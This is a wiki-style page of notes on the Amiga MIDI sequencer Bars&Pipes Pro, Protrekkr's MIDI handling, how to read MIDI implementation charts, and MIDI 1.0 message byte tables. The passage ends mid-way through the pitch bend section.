#Choose a track. The B&amp;P screen will contain a Tracks Window with a number of tracks shown as pipelines (Track 1, Track 2, etc...). To choose a track, simply click on the gray box to show an arrow-icon to highlight it. This icon show whether a track is chosen or not. To the right of the arrow-icon, you can see the icon for the midi-input. If you double-click on this icon you can change the MIDI-in setup.
#Choose Record for the track. To the right of the MIDI-input channel icon you can see a pipe. This leads to another clickable icon with that shows either P, R or M. This stands for Play, Record or Merge. To change the icon, simply click on it. If you choose P, this track can only play the track (you can't record anything). If you choose R, you can record what you play and it overwrites old stuff in the track. If you choose M, you merge new records with old stuff in the track. Choose R now to be able to make a record.
#Chose MIDI-channel. On the most right part of the track you can see an icon with a number in it. This is the MIDI-channel selector. Here you must choose a MIDI-channel that is available on your synthesizer/keyboard. If you choose General MIDI channel 10, most synthesizer will play drum sounds. To the left of this icon is the MIDI-output icon. Double-click on this icon to change the MIDI-output configuration.
#Start recording. The next step is to start recording. You must then find the control buttons (they look like buttons on a CD-player). To be able to make a record. you must click on the R icon. You can simply now press the play button (after you have pressed the R button) and play something on you keyboard. To playback your composition, press the Play button on the control panel.
#Edit track. To edit a track, you simply double click in the middle part of a track. You will then get a new window containing the track, where you can change what you have recorded using tools provided. Take also a look in the drop-down menus for more features.


Videos to help understand [https://www.youtube.com/watch?v=A6gVTX-9900 small intro], [https://www.youtube.com/watch?v=abq_rUTiSA4&amp;t=3s Overview], [https://www.youtube.com/watch?v=ixOVutKsYQo Workplace Setup CC PC Sysex], [https://www.youtube.com/watch?v=dDnJLYPaZTs Import Song], [https://www.youtube.com/watch?v=BC3kkzPLkv4 Tempo Mapping], [https://www.youtube.com/watch?v=sd23kqMYPDs ptool Arpeggi-8], [https://www.youtube.com/watch?v=LDJq-YxgwQg  PlayMidi Song], [https://www.youtube.com/watch?v=DY9Pu5P9TaU Amiga Midi], [https://www.youtube.com/watch?v=abq_rUTiSA4 Learning Amiga bars and Pipes], 

Groups like [https://groups.io/g/barsnpipes/topics this] could help 


'''Tracks window'''

* blue &quot;1 2 3 4 5 6 7 8 Group&quot; and transport tape deck VCR-type controls
* Flags 
* [http://theproblem.alco-rhythm.com/org/bp.html Track 1, Track2, to Track 16, on each Track there are many options that can be activated] 

Each Track has a 

*Left LHS  - Click in grey box to select what Track to work on, Midi-In ptool icon should be here (5pin plug icon), and many more from the Toolbox on the Input Pipeline 
*Middle    - (P, R, M) Play, Record, Merge/Multi before the sequencer line and a blue/red/yellow (Thru Mute Play) Tap 
*Right RHS - Output pipeline, can have icons placed uopn it with the final ptool icon(s) being the 5pin icon symbol for Midi-OUT 

Clogged pipelines may need Esc pressed several times 


'''Toolbox (tools affect the chosen pipeline)'''

After opening the Toolbox window you can add extra Tools (.ptool) for the pipelines like keyboard(virtual), midimonitor, quick patch, transpose, triad, (un)quantize, feedback in/out, velocity etc
 right mouse -&gt; Toolbox menu option -&gt; Install Tool... and navigate to Tool drawer (folder) and select requried .ptool 

Accompany B tool to get some sort of rythmic accompaniment, Rythm Section and Groove Quantize are examples of other tools that make use of rythms
[https://aminet.net/search?query=bars Bars &amp; Pipes pattern format .ptrn] for drawer (folder). Load from the Menu as Track or Group 


'''Accessories (affect the whole app)''' 

Accessories -&gt; Install... and goto the Accessories drawer for .paccess like adding ARexx scripting support 


'''Song Construction'''
&lt;pre&gt;
F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Duplicator 
F5  Eraser 
F6  Toolpad 
F7  Bounding box 
F8  Lock to A-B-A 

A-B-A strip, section, edit flags, white boxes, 

&lt;/pre&gt;


Bars&amp;Pipes Professional offers three track formats; basic song tracks, linear tracks — which don't loop — and finally real‑time tracks. The difference between them is that both song and linear tracks respond to tempo changes, while real‑time tracks use absolute timing, always trigger at the same instant regardless of tempo alterations 

'''Tempo Map'''

F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Eraser 
F5  Curve 
F6  Toolpad 


Compositions

Lyrics, Key, Rhythm, Time Signature 

'''Master Parameters'''

Key, Scale/Mode

'''Track Parameters'''

Dynamics 


'''Time-line Scoring'''


'''Media Madness'''


'''Mix Maestro'''


*ACCESSORIES         Allows the importation of other packages and additional modules 
*CLIPBOARD           Full cut, copy and paste operations, enabling user‑definable clips to be shared between tracks.
*INFORMATION         A complete rundown on the state of the current production and your machine.
*MASTER PARAMETERS   Enables global definition of time signatures, lyrics, scales, chords, dynamics and rhythm changes.
*MEDIA MADNESS       A complete multimedia sequencer which allows samples, stills, animation, etc 
*METRONOME           Tempo feedback via MIDI, internal Amiga audio and colour cycling — all three can be mixed and matched as required.
*MIX MAESTRO         Completely automated mixdown with control for both volume and pan. All fader alterations are memorised by the software 
*RECORD ACTIVATION   Complete specification of the data to be recorded/merged. Allows overdubbing of pitch‑bend, program changes, modulation etc
*SET FLAGS           Numeric positioning of location and edit flags in either SMPTE or musical time 
*SONG CONSTRUCTION   Large‑scale cut and paste of individual measures, verses or chorus, by means of bounding box and drag‑n‑drop mouse selections
*TEMPO MAP           Tempo change using a variety of linear and non‑linear transition curves 
*TEMPO PALETTE       Instant tempo changes courtesy of four user‑definable settings.
*TIMELINE SCORING    Sequencing of a selection of songs over a defined period — ideal for planning an entire set for a live performance.
*TOOLBOX             Selection screen for the hundreds of signal‑processing tools available 
*TRACKS              Opens the main track window to enable recording, editing and the use of tools.
*TRANSPORT           Main playback control window, which also provides access to user‑ defined flags, loop and punch‑in record modes.


Bars and Pipes Pro 2.5 is using internal 4-Byte IDs, to check which kind of data are currently processed.
Especially in all its files the IDs play an important role. The IDs are stored into the file in the same order they are laid out in the memory.

In a Bars 'N' Pipes file (no matter which kind) the ID &quot;NAME&quot; (saved as its ANSI-values) is stored on a big endian system (68k-computer) as &quot;NAME&quot;. On a little endian system (x86 PC computer) as &quot;EMAN&quot;.  The target is to make the AROS-BnP compatible to songs, which were stored on a 68k computer (AMIGA).

If possible, setting MIDI channels for Local Control for your keyboard 

http://www.fromwithin.com/liquidmidi/archive.shtml


MIDI files are essentially a stream of event data. An event can be many things, but typically &quot;note on&quot;, &quot;note off&quot;, &quot;program change&quot;, &quot;controller change&quot;, or messages that instruct a MIDI compatible synth how to play a given bit of music.

* Channel     - 1 to 16 -
* Messages    - PC presets, CC effects like delays, reverbs,  etc 
* Sequencing  - MIDI instruments, Drums, Sound design, 
* Recording   - 
* GUI         - Piano roll or Tracker, Staves and Notes 

MIDI events/messages like step entry e.g. Note On, Note Off 

MIDI events/messages like PB, PC, CC, Mono and Poly After-Touch, Sysex, etc 

MIDI sync - Midi Clocks (SPS Measures), Midi Time Code (h, m, s and frames) SMPTE 

Individual track editing with audition edits so easier to test any changes. Possible to stop track playback, mix clips from the right edit flag and scroll the display using arrow keys. 

Step entry, to extend a selected note hit the space bar and the note grows accordingly. Ability to cancel mouse‑driven edits by simply clicking the right mouse button — at which point everything snaps back into its original form. Lyrics can now be put in with syllable dividers, even across an entire measure or section. Autoranging when you open a edit window, the notes are automatically displayed — working from the lowest upwards. 

Flag editing, shift‑click on a flag immediately open the bounds window, ready for numeric input. Ability to cancel edits using the right‑hand mouse button, plus much improved Bounding Box operations.

Icons other than the BarsnPipes icon -&gt; PUBSCREEN=BarsnPipes (cannot choose modes higher than 8bit 256 colors)

Preferences -&gt; Menu in Tracks window - Send MIDI defaults OFF 

Prefs -&gt; Environment -&gt; screenmode (saved to BarsnPipes.prefs binary file) 

Customization -&gt; pics in gui drawer (folder) - 


Can save as .song files and .mid General Midi 

SMF is a “Standard Midi File”  ([http://www.music.mcgill.ca/~ich/classes/mumt306/StandardMIDIfileformat.html SMF0, SMF1 and SMF2]), [https://github.com/stump/libsmf libsmf], [https://github.com/markc/midicomp MIDIcomp], [https://github.com/MajicDesigns/MD_MIDIFile C++ src], [], [https://github.com/newdigate/midi-smf-reader Midi player], 

* SMF0        All MIDI data is stored in one track only, separated exclusively by the MIDI channel.
* SMF1        The MIDI data is stored in separate tracks/channels.
* SMF2 (rarely used) The MIDI data is stored in separate tracks, which are additionally wrapped in containers, so it's possible to have e.g. several tracks using the same MIDI channels.


Would it be possible to enrich Bars N’Pipes with software synth and sample support along with audio recording and mastering tools like in the named MAC or PC music sequencers?
On the classic AMIGA-OS this is not possible because of missing CPU-power. The hardware of the classic AMIGA is not further developed. So we must say (unfortunately) that those dreams can’t become reality

BarsnPipes is best used with external MIDI-equipment. This can be a keyboard or synthesizer with MIDI-connectors. 

&lt;pre&gt;
MIDI can control 16 channels 
There are USB-MIDI-Interfaces on the market with 16 independent MIDI-lines (multi-port), which can handle 16 MIDI devices independently – 16×16 = 256 independent MIDI-channels or instruments 
handle up to 16 different USB-MIDI-Interfaces (multi-device). That is: 16X16X16 = 4096 independent MIDI-channels – theoretically 
&lt;/pre&gt;

&lt;pre&gt;
Librarian MIDI SYStem EXplorer (sysex) - PatchEditor and used to be supplied as a separate program like PatchMeister but currently not at present 
It should support MIDI.library (PD), BlueRibbon.library (B&amp;P), TriplePlayPlus, and CAMD.library (DeluxeMusic) and 
MIDI information from a device's user manual and configure a custom interface to access parameters for all MIDI products connected to the system 
Supports ALL MIDI events and the Patch/Librarian data is stored in MIDI standard format 
Annette M.Crowling, Missing Link Software, Inc.
&lt;/pre&gt;


Composers
&lt;pre&gt;
[https://x.com/hirasawa/status/1403686519899054086 Susumu Hirasawa] 

&lt;/pre&gt;


&lt;pre&gt;
1988 Todor Fay and his wife Melissa Jordan Gray, who founded the Blue Ribbon Inc
1992 Bars&amp;Pipes Pro published 
November 2000, Todor Fay announcement to release the sourcecode of Bars&amp;Pipes Pro 2.5c beta
end of May 2001, the source of the main program and the sources of some tools and accessories were in a complete and compileable state 
end of October 2009 stop further development of BarsnPipes New for now on all supported systems and made freeware 
2013 Alfred Faust diagnosed with incureable illness, called „Myastenia gravis“ (weak muscles) 
&lt;/pre&gt;


 Protrekkr

How to use Midi In/Out in Protrekkr ?

First of all, midi in &amp; out capabilities of this program are rather limited.

# Go to Misc. Setup section and select a midi in or out device to use (ptk only supports one device at a time).
# Go to instrument section, and select a MIDI PRG (the default is N/A, which means no midi program selected).
# Go to track section and here you can assign a midi channel to each track of ptk.
# Play notes :]. Note off works. F'x' note cut command also works too, and note-volume command (speed) is supported.

Also, you can change midicontrollers in the tracker, using '90' in the panning row:

&lt;pre&gt;
    C-3 02 .. .. 0000....


    --- .. .. 90 xxyy.... &lt;&lt; This will set the value 
    --- .. .. .. 0000....    of the controller n.'xx' to 'yy' (both in hex)
    --- .. .. .. 0000....
&lt;/pre&gt;

So &quot;--- .. .. 90 2040....&quot; will set the controller number $20(32) to $40(64).

You will need the midi implementation table of your gear to know what you can change with midi controller messages.

 N.B. Not all MIDI devices are created equal!

Although the MIDI specification defines a large range of MIDI messages of various kinds, not every MIDI device is required to work in exactly the same way and respond to all the available messages and ways of working. For example, we don't expect a wind synthesiser to work in the same way as a home keyboard.

Some devices, the older ones perhaps, are only able to respond to a single channel. With some of those devices that channel can be altered from the default of 1 (probably) to another channel of the 16 possible.

Other devices, for instance monophonic synthesisers, are capable of producing just one note at a time, on one MIDI channel. Others can produce many notes spread across many channels.

Further devices can respond to, and transmit, &quot;breath controller&quot; data (MIDI controller number 2 (CC#2)) others may respond to the reception of CC#2 but not be able to create and to send it.

A controller keyboard may be capable of sending &quot;expression pedal&quot; data, but another device may not be capable of responding to that message.

Some devices just have the basic GM sound set. The &quot;voice&quot; or &quot;instrument&quot; is selected using a &quot;Program Change&quot; message on its own.

Other devices have a greater selection of voices, usually arranged in &quot;banks&quot;, and the choice of instrument is made by responding to &quot;Bank Select MSB&quot; (MIDI controller 0 (CC#0)), others use &quot;Bank Select LSB&quot; (MIDI controller number 32 (CC#32)), yet others use both MSB and LSB sent one after the other, all followed by the Program Change message. The detailed information about all the different voices will usually be available in a published MIDI Data List.


 MIDI Implementation Chart

But in the User Manual there is sometimes a summary of how the device works, in terms of MIDI, in the chart at the back of the manual, the MIDI Implementation Chart.

If you require two devices to work together you can compare the two implementation charts to see if they are &quot;compatible&quot;. In order to do this we will need to interpret that chart.

The chart is divided into four columns headed &quot;Function&quot;, &quot;Transmitted&quot; (or &quot;Tx&quot;), &quot;Received&quot; (or &quot;Rx&quot;), or more correctly &quot;Recognised&quot;, and finally, &quot;Remarks&quot;.

&lt;pre&gt;
The left hand column defines which MIDI functions are being described.
The 2nd column defines what the device in question is capable of transmitting to another device.
The 3rd column defines what the device is capable of responding to.
The 4th column is for explanations of the values contained within these previous two columns.
&lt;/pre&gt;

There should then be twelve sections, with possibly a thirteenth containing extra &quot;Notes&quot;. Finally there should be an explanation of the four MIDI &quot;modes&quot; and what the &quot;X&quot; and the &quot;O&quot; mean.
&lt;pre&gt;
Mode 1: Omni On, Poly; 
Mode 2: Omni On, Mono; 
Mode 3: Omni Off, Poly; 
Mode 4: Omni Off, Mono.
&lt;/pre&gt;
O means &quot;yes&quot; (implemented), X means &quot;no&quot; (not implemented).

Sometimes you will find a row of asterisks &quot;**************&quot;, these seem to indicate that the data is not applicable in this case. Seen in the transmitted field only (unless you've seen otherwise).

Lastly you may find against some entries an asterisk followed by a number e.g. *1, these will refer you to further information, often on a following page, giving more detail.

Basic Channel
But the very first set of boxes will tell us the &quot;Basic Channel(s)&quot; that the device sends or receives on. 
&quot;Default&quot; is what happens when the device is first turned on, &quot;changed&quot; is what a switch of some kind may allow the device to be set to. 
For many devices e.g. a GM sound module or a home keyboard, this would be 1-16 for both. That is it can handle sending and receiving on all MIDI channels.

On other devices, for example a synthesiser, it may by default only work on channel 1. But the keyboard could be &quot;split&quot; with the lower notes e.g. on channel 2. If the synth has an arppegiator, this may be able to be set to transmit and or receive on yet another channel.
So we might see the default as &quot;1&quot; but the changed as &quot;1-16&quot;.

Modes.
We need to understand Omni On and Off, and Mono and Poly, then we can decipher the four modes.

But first we need to understand that any of these four Mode messages can be sent to any MIDI channel. They don't necessarily apply to the whole device.

If we send an &quot;Omni On&quot; message (CC#125) to a MIDI channel of a device, we are, in effect, asking it to respond to e.g. a Note On / Off message pair, received on any of the sixteen channels. Sound strange? Read it again. Still strange? It certainly is. We normally want a MIDI channel to respond only to Note On / Off messages sent on that channel, not any other. In other words, &quot;Omni Off&quot;.

So &quot;Omni Off&quot; (CC#124) tells a channel of our MIDI device to respond only to messages sent on that MIDI channel.

&quot;Poly&quot; (CC#127) is for e.g. a channel of a polyphonic sound module, or a home keyboard, to be able to respond to many simultaneous Note On / Off message pairs at once and produce musical chords.

&quot;Mono&quot; (CC#126) allows us to set a channel to respond as if it were e.g. a flute or a trumpet, playing just one note at a time. If the device is capable of it, then the overlapping of notes will produce legato playing, that is the attack portion of the second note of two overlapping notes will be removed resulting in a &quot;smoother&quot; transition.

So a channel with a piano voice assigned to it will have Omni Off, Poly On (Mode 3), a channel with a saxophone voice assigned could be Omni Off, Mono On (Mode 4).

We call these combinations the four modes, 1 to 4, as defined above. 
Most modern devices will have their channels set to Mode 3 (Omni Off, Poly) but be switchable, on a per channel basis, to Mode 4 (Omni Off, Mono).

This second section of data will include first its default value i.e. upon device switch on. Then what Mode messages are acceptable, or X if none.

Finally, in the &quot;Altered&quot; field, how a Mode message that can't be implemented will be interpreted. Usually there will just be a row of asterisks effectively meaning nothing will be done if you try to switch to an unimplemented mode.

Note Number
&lt;pre&gt;
The next row will tell us which MIDI notes the device can send or receive, normally 0-127.
The second line, &quot;True Voice&quot; has the following in the MIDI specification: 
&quot;Range of received note numbers falling within the range of true notes produced by the instrument.&quot;
My interpretation is that, for instance, a MIDI piano may be capable of sending all MIDI notes (0 to 127) by transposition, but only responding to the 88 notes (21 to 108) of a real piano. 
&lt;/pre&gt;

Velocity
This will tell us whether the device we're looking at will handle note velocity, and what range from 1-127, or maybe just 64, it transmits or will recognise. So usually &quot;O&quot; plus a range or &quot;X&quot; for not implemented.

After touch
This may have one or two lines two it.
If a one liner the either &quot;O&quot; or &quot;X&quot;, yes or no.
If a two liner then it may include &quot;Keys&quot; or &quot;Poly&quot; and &quot;Channel&quot;.
This will show whether the device will respond to Polyphonic after touch or channel after touch or neither.

Pitch Bend
Again &quot;O&quot; for implemented, &quot;X&quot; for not implemented.
(Many stage pianos will have no pitch bend capability.)
It may also, in the notes section, state whether it will respond to the full 14 bits, or not, as usually encoded by the pitch bend wheel.

Control Change
This is likely to be the largest section of the chart.
It will list all those controllers, starting from CC#0, Bank Select MSB, which the device is capable of sending, and those that it will respond to using &quot;O&quot; or &quot;X&quot; respectively.
You will, almost certainly, get some further explanation of functionality in the remarks column, or in more detail elsewhere in the documentation.

Of course you will need to know what all the various controller numbers do. Lots of the official technical specifications can be found at the [www.midi.org/techspecs/ MMA], with the table of messages and control change [www.midi.org/techspecs/midimessages.php message numbers]

Program Change
Again &quot;O&quot; or &quot;X&quot; in the Transmitted or Recognised column to indicate whether or not the feature is implemented. In addition a range of numbers is shown, typically 0-127, to show what is available.
True # (number): &quot;The range of the program change numbers which correspond to the actual number of patches selected.&quot;

System Exclusive
Used to indicate whether or not the device can send or recognise System Exclusive messages. A short description is often given in the Remarks field followed by a detailed explanation elsewhere in the documentation.

System Common - These include the following:
&lt;pre&gt;
MIDI Time Code Quarter Frame messages (device synchronisation).
Song Position Pointer
Song Select
Tune Request
&lt;/pre&gt;
The section will indicate whether or not the device can send or respond to any of these messages.

System Real Time
These include the following:
&lt;pre&gt;
Timing Clock - often just written as &quot;Clock&quot;
Start
Stop
Continue
&lt;/pre&gt;
These three are usually just referred to as &quot;Commands&quot; and listed.
Again the section will indicate which, if any, of these messages the device can send or respond to.
&lt;pre&gt;
Aux. Messages
Again &quot;O&quot; or &quot;X&quot; for implemented or not.
Aux. = Auxiliary.
Active Sense = Active Sensing.
&lt;/pre&gt;
Often with an explanation of the action of the device.

Notes
The &quot;Notes&quot; section can contain any additional comments to clarify the particular implementation.

Some of the explanations have been drawn directly from the MMA MIDI 1.0 Detailed Specification.
And the detailed explanation of some of the functions will be found there, or in the General MIDI System Level 1 or General MIDI System Level 2 documents also published by the MMA.


 OFFICIAL MIDI SPECIFICATIONS

SUMMARY OF MIDI MESSAGES
Table 1 - Summary of MIDI Messages

The following table lists the major MIDI messages in numerical (binary) order (adapted from &quot;MIDI by the Numbers&quot; by D. Valenti, Electronic Musician 2/88, and updated by the MIDI Manufacturers Association.). This table is intended as an overview of MIDI, and is by no means complete.

WARNING! Details about implementing these messages can dramatically impact compatibility with other products. We strongly recommend consulting the official MIDI Specifications for additional information.

MIDI 1.0 Specification

Message Summary Channel Voice Messages [nnnn = 0-15 (MIDI Channel Number 1-16)]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1000nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note Off event. 
This message is sent when a note is released (ended). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1001nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note On event. 
This message is sent when a note is depressed (start). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1010nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Polyphonic Key Pressure (Aftertouch). 
This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. (kkkkkkk) is the key (note) number. (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Control Change. 
This message is sent when a controller value changes. Controllers include devices such as pedals and levers. Controller numbers 120-127 are reserved as &quot;Channel Mode Messages&quot; (below). (ccccccc) is the controller number (0-119). (vvvvvvv) is the controller value (0-127).
|-
|&lt;!--Status--&gt;1100nnnn || &lt;!--Data--&gt;0ppppppp || &lt;!--Description--&gt;Program Change. This message sent when the patch number changes. (ppppppp) is the new program number.
|-
|&lt;!--Status--&gt;1101nnnn || &lt;!--Data--&gt;0vvvvvvv || &lt;!--Description--&gt;Channel Pressure (After-touch). This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. This message is different from polyphonic after-touch. Use this message to send the single greatest pressure value (of all the current depressed keys). (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1110nnnn || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Pitch Bend Change. This message is sent to indicate a change in the pitch bender (wheel or lever, typically). The pitch bender is measured by a fourteen bit value. Center (no pitch change) is 2000H. Sensitivity is a function of the receiver, but may be set using RPN 0. (lllllll) are the least significant 7 bits. (mmmmmmm) are the most significant 7 bits.
|}

Channel Mode Messages (See also Control Change, above)

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Channel Mode Messages. 
This the same code as the Control Change (above), but implements Mode control and special message by using reserved controller numbers 120-127. The commands are:
*All Sound Off. When All Sound Off is received all oscillators will turn off, and their volume envelopes are set to zero as soon as possible c = 120, v = 0: All Sound Off
*Reset All Controllers. When Reset All Controllers is received, all controller values are reset to their default values. (See specific Recommended Practices for defaults) c = 121, v = x: Value must only be zero unless otherwise allowed in a specific Recommended Practice.
*Local Control. When Local Control is Off, all devices on a given channel will respond only to data received over MIDI. Played data, etc. will be ignored. Local Control On restores the functions of the normal controllers. 
c = 122, v = 0: Local Control Off
c = 122, v = 127: Local Control On
* All Notes Off. When an All Notes Off is received, all oscillators will turn off. 
c = 123, v = 0: All Notes Off (See text for description of actual mode commands.)
c = 124, v = 0: Omni Mode Off 
c = 125, v = 0: Omni Mode On 
c = 126, v = M: Mono Mode On (Poly Off) where M is the number of channels (Omni Off) or 0 (Omni On) 
c = 127, v = 0: Poly Mode On (Mono Off) (Note: These four messages also cause All Notes Off)
|}

System Common Messages

System Messages (0xF0)

The final status nybble is a “catch all” for data that doesn’t fit the other statuses. They all use the most significant nybble (4bits) of 0xF, with the least significant nybble indicating the specific category.

The messages are denoted when the MSB of the second nybble is 1. When that bit is a 0, the messages fall into two other subcategories.

System Common

If the MSB of the second second nybble (4 bits) is not set, this indicates a System Common message. Most of these are messages that include some additional data bytes.

System Common Messages
Type Status Byte   Number of Data Bytes      Usage 
&lt;pre&gt;
Time Code Quarter Frame	0xF1	1	Indicates timing using absolute time code, primarily for synthronization with video playback systems. A single location requires eight messages to send the location in an encoded hours:minutes:seconds:frames format*.
Song Position	0xF2	2	Instructs a sequencer to jump to a new position in the song. The data bytes form a 14-bit value that expresses the location as the number of sixteenth notes from the start of the song.
Song Select	0xF3	1	Instructs a sequencer to select a new song. The data byte indicates the song.
Undefined	0xF4	0	
Undefined	0xF5	0	
Tune Request	0xF6	0	Requests that the receiver retunes itself**.
&lt;/pre&gt;
*MIDI Time Code (MTC) is significantly complex. Please see the MIDI Specification
**While modern digital instruments are good at staying in tune, older analog synthesizers were prone to tuning drift. Some analog synthesizers had an automatic tuning operation that could be initiated with this command.


System Exclusive

If you’ve been keeping track, you’ll notice there are two status bytes not yet defined: 0xf0 and 0xf7. These are used by the System Exclusive message, often abbreviated at SysEx. SysEx provides a path to send arbitrary data over a MIDI connection. There is a group of predefined messages for complex data, like fine grained control of MIDI Time code machinery. SysEx is also used to send manufacturer defined data, such as patches, or even firmware updates.

System Exclusive messages are longer than other MIDI messages, and can be any length. The messages are of the following format:

0xF0, 0xID, 0xdd, ...... 0xF7
The message is bookended with distinct bytes.

It opens with the Start Of Exclusive (SOX) data byte, 0xF0.
The next one to three bytes after the start are an identifier.
Values from 0x01 to 0x7C are one-byte vendor IDs, assigned to manufacturers who were involved with MIDI at the beginning.
If the ID is 0x00, it’s a three-byte vendor ID - the next two bytes of the message are the value.
&lt;pre&gt;
ID 0x7D is a placeholder for non-commercial entities.
ID 0x7E indicates a predefined Non-realtime SysEx message.
ID 0x7F indicates a predefined Realtime SysEx message.
&lt;/pre&gt;
After the ID is the data payload, sent as a stream of bytes.
The transfer concludes with the End of Exclusive (EOX) byte, 0xF7.
The payload data must follow the guidelines for MIDI data bytes – the MSB must not be set, so only 7 bits per byte are actually usable. If the MSB is set, it falls into three possible scenarios.

An End of Exclusive byte marks the ordinary termination of the SysEx transfer.
System Real Time messages may occur within the transfer without interrupting it. The recipient should handle them independently of the SysEx transfer.
Other status bytes implicitly terminate the SysEx transfer and signal the start of new messages.
 Some inexpensive USB-to-MIDI interfaces aren’t capable of handling messages longer than four bytes.

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11110000 || &lt;!--Data--&gt;0iiiiiii [0iiiiiii 0iiiiiii]  0ddddddd  --- --- 0ddddddd 11110111 || &lt;!--Description--&gt;System Exclusive. 
This message type allows manufacturers to create their own messages (such as bulk dumps, patch parameters, and other non-spec data) and provides a mechanism for creating additional MIDI Specification messages. The Manufacturer's ID code (assigned by MMA or AMEI) is either 1 byte (0iiiiiii) or 3 bytes (0iiiiiii 0iiiiiii 0iiiiiii). Two of the 1 Byte IDs are reserved for extensions called Universal Exclusive Messages, which are not manufacturer-specific. If a device recognizes the ID code as its own (or as a supported Universal message) it will listen to the rest of the message (0ddddddd). Otherwise, the message will be ignored. (Note: Only Real-Time messages may be interleaved with a System Exclusive.)
|-
|&lt;!--Status--&gt;11110001 || &lt;!--Data--&gt;0nnndddd || &lt;!--Description--&gt;MIDI Time Code Quarter Frame.
nnn = Message Type
dddd = Values
|-
|&lt;!--Status--&gt;11110010 || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Song Position Pointer. 
This is an internal 14 bit register that holds the number of MIDI beats (1 beat= six MIDI clocks) since the start of the song. l is the LSB, m the MSB.
|-
|&lt;!--Status--&gt;11110011 || &lt;!--Data--&gt;0sssssss || &lt;!--Description--&gt;Song Select. 
The Song Select specifies which sequence or song is to be played.
|-
|&lt;!--Status--&gt;11110100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Tune Request. Upon receiving a Tune Request, all analog synthesizers should tune their oscillators.
|-
|&lt;!--Status--&gt;11110111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;End of Exclusive. Used to terminate a System Exclusive dump. 
|}


System Real-Time Messages

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11111000 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Timing Clock. Sent 24 times per quarter note when synchronization is required.
|-
|&lt;!--Status--&gt;11111001 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111010 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Start. Start the current sequence playing. (This message will be followed with Timing Clocks).
|-
|&lt;!--Status--&gt;11111011 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Continue. Continue at the point the sequence was Stopped.
|-
|&lt;!--Status--&gt;11111100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Stop. Stop the current sequence.
|-
|&lt;!--Status--&gt;11111101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Active Sensing. This message is intended to be sent repeatedly to tell the receiver that a connection is alive. Use of this message is optional. When initially received, the receiver will expect to receive another Active Sensing message each 300ms (max), and if it does not then it will assume that the connection has been terminated. At termination, the receiver will turn off all voices and return to normal (non- active sensing) operation. 
|-
|&lt;!--Status--&gt;11111111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Reset. Reset all receivers in the system to power-up status. This should be used sparingly, preferably under manual control. In particular, it should not be sent on power-up.
|}


Advanced Messages

Polyphonic Pressure (0xA0) and Channel Pressure (0xD0)

Some MIDI controllers include a feature known as Aftertouch. While a key is being held down, the player can press harder on the key. The controller measures this, and converts it into MIDI messages.

Aftertouch comes in two flavors, with two different status messages.

The first flavor is polyphonic aftertouch, where every key on the controller is capable of sending its own independent pressure information. The messages are of the following format:
&lt;pre&gt;
0xnc, 0xkk, 0xpp
n is the status (0xA)
c is the channel nybble
kk is the key number (0 to 127)
pp is the pressure value (0 to 127)
&lt;/pre&gt;
Polyphonic aftertouch is an uncommon feature, usually found on premium quality instruments, because every key requires a separate pressure sensor, plus the circuitry to read them all.

Much more commonly found is channel aftertouch. Instead of needing a discrete sensor per key, it uses a single, larger sensor to measure pressure on all of the keys as a group. The messages omit the key number, leaving a two-byte format
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xD)
c is the channel number
pp is the pressure value (0 to 127)
&lt;/pre&gt;

Pitch Bend (0xE0)

Many keyboards have a wheel or lever towards the left of the keys for pitch bend control. This control is usually spring-loaded, so it snaps back to the center of its range when released. This allows for both upward and downward bends.

Pitch Bend Wheel

The wheel sends pitch bend messages, of the format
&lt;pre&gt;
0xnc, 0xLL, 0xMM
n is the status (0xE)
c is the channel number
LL is the 7 least-significant bits of the value
